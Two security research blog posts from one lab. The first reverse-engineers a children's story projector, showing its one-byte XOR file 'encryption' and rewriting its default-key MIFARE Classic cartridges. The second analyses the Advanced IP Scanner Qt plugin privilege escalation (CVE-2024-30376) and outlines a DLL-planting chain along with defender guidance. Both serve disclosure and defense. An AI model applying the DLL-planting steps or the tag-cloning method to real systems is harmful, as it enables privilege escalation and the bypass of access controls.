You put the cartridge and the projector plays one story… and you can continue doing so as long as you buy more cartridges that cost the same as you paid for the projector. It’s a well-established business model, backed by a large publishing group.

But to be honest, all this thoughtful reflection came later, because the beginning of this story starts my children asking an embarrassing question.

Can we watch something else on it?

What won’t a father do for his children?

Hands on

We kept the setup as basic as the question that started it:

  • The microSD card from the bundle
  • The plastic cartridge with contactless tech
  • A home laptop
  • A microSD to SD adapter
  • An Android phone with an NFC utility app

That was enough.

We assumed a curious user with physical access to the SD card, to the cartridge and equipped with basic tools. We did not attempt invasive hardware work, firmware extraction or media parser exploitation.

This matters because effort level is part of the story. When a closed ecosystem can be understood with tools as these, in a short session of less than 60 minutes, the security controls are clearly decorative.

2# Findings in 60 minutes

Although it was a toy and, honestly, there was no doubt that it would break relatively easily, we approached the exercise as if a customer had arrived with six-figure hardware and told us to break it.

Phase 1: Recognition

We could have started anywhere, but I suppose that due to our forensic training, we began by cloning the SD card, mounting it and seeing what we found inside.

$ sudo dd if=/dev/mmcblk0 of=sdcard.img bs=4M status=progress(..)4026531840 bytes (4,0 GB, 3,8 GiB) copied, 225,386 s, 17,9 MB/s$ sudo losetup -fP sdcard.img$ sudo fdisk -l /dev/loop0Disk /dev/loop0: 3.75 GiB, 4026531840 bytes, 7864320 sectors(..)Device       Boot Start     End Sectors  Size Id Type/dev/loop0p1 * 64 7864319 7864256 3.7G  c W95 FAT32 (LBA)

We saw that it was a 4GB SD card with a single FAT32 partition, which gave us easy access to the file system contained on it.

SD Card Layout
$ mplayer 001.***MPlayer 1.4 (Debian), built with gcc-11 (C) 2000-2019 MPlayer Team(..)Playing 001.***.libavformat version 58.76.100 (external)libavformat file format detected.[amrnb @ 0x7be6c986f8e0]Estimating duration from bitrate, this may be inaccurate[lavf] stream 0: audio (amrnb), -aid 0Load subtitles in ./==========================================================================Cannot find codec for audio format 0x626E.Audio: no soundVideo: no videoExiting... (End of file)

At that time, we knew that the projector came with 15 preloaded content files, but that only gave access to one specific file via the physical cartridge provided, which acted as a kind of authorization token. We also knew that all the files were encrypted/compressed/obfuscated in some way, making them impossible to play directly.

So we looked at the physical token: a piece of gray plastic. The first thing we tried was reading the token with an iPhone, which resulted in complete failure. This made us wonder if we were dealing with some esoteric technology, but since we know that iOS is notoriously limiting for this kind of NFC work, it didn’t take much effort to borrow an Android and install NFC Tools.

The result was immediate.

NFC Tools reading Mifare Tag
Phase 2: Obfuscation Masquerading as Crypto

We had to choose to continue along one of the two paths. Between the tag and the files, we chose to start with the files.

Here, I’m compelled to issue a disclaimer. I’m sorry if my analysis offends the creators, but calling it cryptanalysis would offend cryptographers and it would make Alan Turing turn in his grave, so I refuse to call it cryptography and I’m much more inclined to call it a joke.

With that said, I think the best way to explain the magnitude of the challenge we faced in reversing the file obfuscation is to show a hexdump of the first 128 bytes of two files from SD.

$ hexdump -C -n 128 001.***00000000  a7 a7 a7 bb c1 d3 de d7  ca d7 93 95 a7 a7 a7 a6  |................|00000010  ce d4 c8 ca ca d7 93 96  ca d7 93 95 a7 a2 64 92  |..............d.|00000020  ca c8 c8 d1 a7 a7 a7 cb  ca d1 cf c3 a7 a7 a7 a7  |................|00000030  43 7a 3a b9 43 7a 3a b9  a7 a7 c6 0f a7 d0 1f d7  |Cz:.Cz:.........|00000040  a7 a6 a7 a7 a6 a7 a7 a7  a7 a7 a7 a7 a7 a7 a7 a7  |................|00000050  a7 a6 a7 a7 a7 a7 a7 a7  a7 a7 a7 a7 a7 a7 a7 a7  |................|*00000070  e7 a7 a7 a7 a7 a7 a7 a7  a7 a7 a7 a7 a7 a7 a7 a7  |................|$ hexdump -C -n 128 002.***00000000  a7 a7 a7 bb c1 d3 de d7  ca d7 93 95 a7 a7 a7 a6  |................|00000010  ce d4 c8 ca ca d7 93 96  ca d7 93 95 a7 a1 ba 19  |................|00000020  ca c8 c8 d1 a7 a7 a7 cb  ca d1 cf c3 a7 a7 a7 a7  |................|00000030  43 7a 53 dc 43 7a 53 dc  a7 a7 c6 0f a7 d9 66 9f  |CzS.CzS.......f.|00000040  a7 a6 a7 a7 a6 a7 a7 a7  a7 a7 a7 a7 a7 a7 a7 a7  |................|00000050  a7 a6 a7 a7 a7 a7 a7 a7  a7 a7 a7 a7 a7 a7 a7 a7  |................|*00000070  e7 a7 a7 a7 a7 a7 a7 a7  a7 a7 a7 a7 a7 a7 a7 a7  |................|

I don’t think there’s much to say. Anyone who is even minimally familiar with Shannon and the most basic principles of cryptography knows that one of the fundamental properties of any proper ciphering algorithm is the elimination of patterns and the increase of entropy.

In this case, recognizing that we’re dealing with a one-byte XOR, the value of the byte; and that once the obfuscation is removed, we’re obtaining an MP4 file is absolutely trivial. In the same way, it’s the magic of an XOR, any MP4 file can be encoded so that it can be played by the projector.

$ python3 xored.py sdcard/**/001.*** /tmp/001.mp4Processing sdcard/**/001.*** with XOR key...Done! Saved to /tmp/001.mp4$ file /tmp/001.mp4 /tmp/001.mp4: ISO Media, MP4 v2 [ISO 14496-14]$ mplayer /tmp/001.mp4 MPlayer 1.4 (Debian), built with gcc-11 (C) 2000-2019 MPlayer Team(..)Playing /tmp/001.mp4.(..)VIDEO:  [H264]  1920x1080  24bpp  25.000 fps  2007.0 kbps (245.0 kbyte/s)(..)Starting playback...
Phase 3: The Old Tech NFC Tag

Knowing that the tag was Mifare Classic 1K, we had to rely on the reference Android tool for this type of tag.

This tool allowed us to read the tag’s content without any difficulty, mainly because the tag still used factory default keys, publicly documented and supported by common tools.

+Sector: 01******328****0062****656*****690000000000000*************0000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFF078069FFFFFFFFFFFF+Sector: 10000000000000*************0000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFF078069FFFFFFFFFFFF

Here we had a moment of doubt, thinking that perhaps the tag ID was what marked the video being played, but the fact that there was a duplicate string at 0:1 and 1:0, and that it contained several instances corresponding to the ID of the video played when this tag was placed, led us to believe that everything would be simpler.

We hypothesized that the duplicated byte acted as a file pointer and the value mapped to file in the SD card. To test this, we cloned the sector structure, and wrote the modified blocks targeting a custom file with an ID higher than those occupied.

And, to no one’s surprise (not even the children were surprised), we were right. It worked without any problems, allowing us to rewrite the cartridge itself or even create our own labels using blank MIFARE Classic 1K tags to reproduce customized content and thus fulfilling the dreams of the little ones in the house.

Playing Custom Contents
3# What we should learn from this toy story

This device is a perfect physical metaphor for modern development. Security is often treated as a cosmetic feature; something to paint over the functional design required by the business.

The Toy to Enterprise Translation Guide

The vulnerabilities we found here are functionally identical to the ones we find in ERPs, HR Apps, OT/IoT firmware or any other serious enterprise products which are supposed to be robust and secure.

PROJECTOR FLAWENTERPRISE FLAWSCWEMIFARE Classic tag with factory/default keysDefault credentials / shared factory secrets left in production on appliances/IoT/OT (cameras, gateways, controllers, BMC/iLO/IPMI, etc.)CWE-1392 (Use of Default Credentials)No tag authenticationSystems that accept an identity/token without cryptographic proof: static bearer tokens, shared API keys, trusting device_id as identityCWE-287 (Improper Authentication)Writable tag data drives a security decisionAuthorization/entitlement derived from client-controlled claims/fields: role=admin, plan=premium, entitled=true in requests or weakly validated JWTsCWE-807 (Reliance on Untrusted Inputs in a Security Decision)Tag with sequential content IDClassic IDOR: changing invoice_id, file_id, user_id grants access because ownership/ACL isn’t enforcedCWE-639 (Authorization Bypass Through User-Controlled Key)No authenticity verification of SD contentLoading firmware/config/plugins/bundles without verifying provenance (no signature/manifest verification)CWE-345 (Insufficient Verification of Data Authenticity)Encryption is a reversible 1-byte XOR wrapperBroken/weak crypto used to satisfy “encrypted” checkboxes (homebrew obfuscation, obsolete ciphers, insecure modes)CWE-327 (Broken or Risky Crypto Algorithm)
The “It’s Too Cheap” Fallacy

The most common defense for this kind of engineering is cost.

It’s a cheap device, they can’t afford security.

This is false.

We identified a few of architectural decisions that would have drastically raised the difficulty for an attacker at zero hardware cost and without significant operational overhead.

PROBLEM$0 FIXWHAT IT CHANGESDefault NFC keysSet project-specific keys during manufacturing (requires only basic provisioning)Kills the “generic Android app” attack; pushes attackers toward specialized tooling/time rather than casual reads/writes1-byte XOR “encryption”Use real crypto (AES-128 or lightweight stream) and make the cartridge carry per-title key (or an IV)SD assets become useless without the cartridge; the token stops being a pointer and becomes a key. Copying now requires cloning/extracting the original token secrets. If true anti-cloning matters, this requires an authenticated token (DESFire / NTAG 424 DNA class). Anti-cloning part is not $0, but maybe it’s a design requirement.SD is trusted blindlyEmbed a public key in firmware + ship a signed manifest of content hashesInjected/modified files fail immediately because signature and hashes don’t validate. This stops “drop any file on SD and play it”.

The constraint isn’t always money.

In practice, the real scarcity is usually planning, time and knowledge. A combination of factors that causes teams to deliver controls looking secure instead of controls that can be proven well-designed for the intended purpose.

Early Design Validation

The fix for this cheap toy (and for many enterprise systems that mirror it) is not buying expensive hardware. It’s early design validation.

Most security failures are not rooted in code; they are rooted in requirements. The code only translates what someone has thought and designed.

  • Bad requirement: The system must play the file associated with the tag.
  • Better requirement: The system only must play content that is authentic, and only when an authenticated token provides the key, or the IV, to unlock it.

A simple threat modeling session would have exposed these gaps before a single line of code was written.

Security is not a layer that is added at the end. It’s a set of decisions that must be made from the beginning. If the team skips it for €10, experience tells us that they will probably skip it for €100,000 as well.

4# Closing Thoughts

It took a laptop, a SD adapter, an Android phone and 60 minutes to break the entire system. No advanced knowledge, no zero-day exploit… just sit down, look around a bit and break it.

This is what makes the difference. Perfect security is unrealistic but good security is not. And here we have seen a few decisions that are really bad and, moreover, completely compromises the recurring sales business model of a large publishing group.

Everyone can draw their own conclusions. The closing image shows The NeverEnding Story on the projector. It’s a nice ending for a family evening.

It’s also an accurate name for this problem.

The End
http://labs.itresit.es/?p=1868
Extensions
CVE-2024-30376 Unpatched: Advanced IP Scanner still ships a Qt LPE in the same build that leaks NTLM
DefensiveLabsOffensiveadvanced ip scanneradvanced port scannerCVE-2024-30376lpeprivilege-escalationqt5VU#411271ZDI-24-670
By Javier Medina ( X / LinkedIn) TL;DR Two days ago we published our write-up on CVE-2025-1868, showing how Advanced IP Scanner can leak NTLM challenge-response material during routine scans, and how it remains unpatched nine months later. That post got shared on r/InfoSecNews, and one short comment from BladeCollectorGirl made us doubt: Used to be one of […]
Show full content

By Javier Medina ( X / LinkedIn)

TL;DR

Two days ago we published our write-up on CVE-2025-1868, showing how Advanced IP Scanner can leak NTLM challenge-response material during routine scans, and how it remains unpatched nine months later.

That post got shared on r/InfoSecNews, and one short comment from BladeCollectorGirl made us doubt:

Used to be one of the best Windows scan tools… I’ve stopped using it a few years ago because of security issues.

The next thing we landed on was CVE-2024-30376 (ZDI-24-670). This is a local privilege escalation condition where Advanced IP Scanner loads Qt plugins from an unsecured location, enabling low-privileged users to pre-stage a path and have code executed when an admin later runs the tool.

The post focuses on operational impact, lab validation and defender guidance.

Details for Busy People
  • ZDI disclosed this as a 0-day in June 2024 after reporting it to the vendor in May 2023
  • NVD’s details that the application loads Qt plugins from an unsecured location
  • The problem originates in an old Qt issue from 2022 that allows privilege escalation due to the hardcoding of the qt_prfxpath value
  • Two years later, the affected binaries are still being distributed, turning any installation of the tool into a potential vector for local privilege escalation.
  • LPE requires local standard-user access to the host (or malware running as user) and also requires an administrator to run Advanced IP Scanner elevated.
  • Impact depends on whether endpoints allow standard users to create the staged directory chain.
  • We have indications that Advanced Port Scanner is also affected for similar behavior.
  • The same current distributable build (2.5.4594.1) is tracked as affected by the Qt LPE (CVE-2024-30376) and is also within the affected range for the NTLM leakage (CVE-2025-1868).
1# CVE-2024-30376 in Practical Terms

CVE-2024-30376 is tracked by ZDI as ZDI-24-670 and mapped to CWE-427 (Uncontrolled Search Path Element). NVD describes that the flaw exists within the application’s use of Qt, and the application loads Qt plugins from an unsecured location.

This lands in a class of Windows deployment problems that has been understood for years in the Qt ecosystem. CERT/CC’s advisory on Qt’s qt_prfxpath behavior explains why Windows deployments can end up consulting paths that should never be part of a privileged plugin search, and why proper deployment tooling (for example windeployqt) matters because it can replace the embedded prefix path value and reduce exposure.

The result, when everything aligns badly, is predictable. The application attempts to resolve an add-on in a location that does not exist, and a user without privileges can create that location and provide the add-on first.

2# Exploitation Mechanics

On an affected host, exploitation is about one ugly Windows default and one predictable habit of admins.

A low-priv user notices the app searches for a Qt plugin in a path that does not exist. In many enviroments, a default Windows user can create directories under C:\; so the attacker simply creates the missing folder tree and drops a DLL where Qt will look for it. Later, an admin runs Advanced IP Scanner during routine troubleshooting and the tool loads the attacker-controlled DLL in the elevated context.

This is the brief and practical evidence of the problem:

$ strings Qt5Core.dll | grep "qt_prfxpath"
qt_prfxpath=C:/Build/Qt/5.6.3/build32/qtbase

It is important to note that the vulnerability CVSS is classified as User Interaction (UI) Required. But, from our point of view, user interaction required is meaningless here. The interaction is the admin doing normal admin work, and the staging step is something any low-priv user can do in seconds.

3# Lab Evidence

We reproduced the behavior in our lab environment by observing plugin resolution activity, identifying missing search paths, preparing the filesystem state as a low-privileged user, and confirming code execution when the application was later launched by an administrator.

Tested build: 2.5.4594.1

A recipe for crafting an exploit

To demonstrate the impact, we converted the missing path observations into a functional privilege escalation chain using basic Windows primitives:

  • Reconstruct the Build Path: We manually created the directory structure C:\Build\Qt\5.6.3\build32\qtbase\plugins\platforms, matching the hardcoded path the application queries.
  • Plant the Decoy: We placed the missing file (qwindows.dll) in that directory.
  • Chain the Payload: Instead of compiling a complex Qt plugin, we simply modified the import table of our qwindows.dll to force the loading of a secondary DLL where our actual payload resided.
  • Execution: When Advanced IP Scanner was launched, it loaded our decoy plugin, which immediately pulled in our payload.dll and executed calc.exe
4# How to Validate It in Your Environment

You can validate the risky condition without writing an exploit.

First, simply run Advanced IP Scanner under Procmon and focus on early startup and plugin/module activity. Look for path probes and repeated failures (“PATH NOT FOUND”) against C:\Build\Qt\... directory.

Later check whether standard users can create directory trees in the relevant locations on your endpoints. In many environments, creating new folders under C:\ is still possible for standard users, and that is enough to convert missing path into attacker-controlled path.

5# What You Should Do Remove these tools and apply our prior suggestions

If a vendor keeps shipping administrative tooling with publicly documented issues and undefined remediation gaps, standardizing on alternatives is the pragmatic choice.

You need discovery tools that do not quietly expand your attack surface under routine use.

Later, apply our prior suggestion about secure use of this kind of tools.

Monitor the right signal

Beyond the issue with Famatech and its tools, this should prompt us to think about local privilege escalations. So, if you want detection that generalizes beyond this specific case, focus on behavior:

  • Elevated processes loading DLLs from unusual directories
  • Plugin discovery patterns that touch user-writable locations
  • Directory creation and subsequent module loads that form a staging chain

These are signals blue teams should monitor as a baseline.

Harden permissions

However, it’s not all about detection and response; the simplest thing you can do in this case is prevent. This LPE works because Windows still lets standard users create folders under C:\ in many environments.

That single default gives attackers a staging surface. Our best advice is treat this as a permissions problem, so where compatibility allows, lock down the root of C:\ so non-admin users cannot create arbitrary directory trees.

6# Closing

Here is the uncomfortable conclusion. The first part of this research showed a tool that can leak NTLM material onto the wire during routine discovery. This post shows a tool that can be turned into an elevated code loader through a search path mistake that has been publicly understood for two years.

When a vendor keeps distributing an administrative utility in that state, the correct response is not to debate scoring semantics or wait for a patch that may never arrive. Remove it from the trusted set, block it where you cannot remove it, and harden the host so standard users cannot create arbitrary directory trees under C:\. That single policy closes a staging surface that keeps feeding the same class of local privilege escalation chains across products.

Annexes Unpatched Versions

On 2026-01-03, we retrieved the vendor-hosted installer and recorded reproducible identifiers (SHA256 + embedded FileVersion/ProductVersion). Installer still corresponds to the vulnerable build (Advanced IP Scanner 2.5.4594.1)

Retrieved (UTC)ProductDownload ArtifactSize (bytes)SHA256VersionAuthenticode statusSigner (Subject)Signer Issuer (CA)2026-01-03T16:04:54ZAdvanced IP ScannerAdvanced_IP_Scanner_2.5.4594.1.exe2105067226d5748ffe6bd95e3fee6ce184d388a1a681006dc23a0f08d53c083c593c193b2.5.4594.1ValidCN=Famatech Corp., O=Famatech Corp., L=Road Town, C=VG, SERIALNUMBER=597325, …Symantec Class 3 Extended Validation Code Signing CA – G2
Disclosure Timeline

We did not originally report this vulnerability. This timeline is sourced from the ZDI advisory (ZDI-24-670) and provided for context. Our work focuses on lab validation, operational impact, and defender guidance.

  • 2023-05-12 — Reported to vendor (ZDI)
  • 2024-06-13 — Publicly disclosed (ZDI-24-670)
  • 2026-01-09 — LABS@ITRES Research on ZDI-24-670 is published
References

http://labs.itresit.es/?p=1566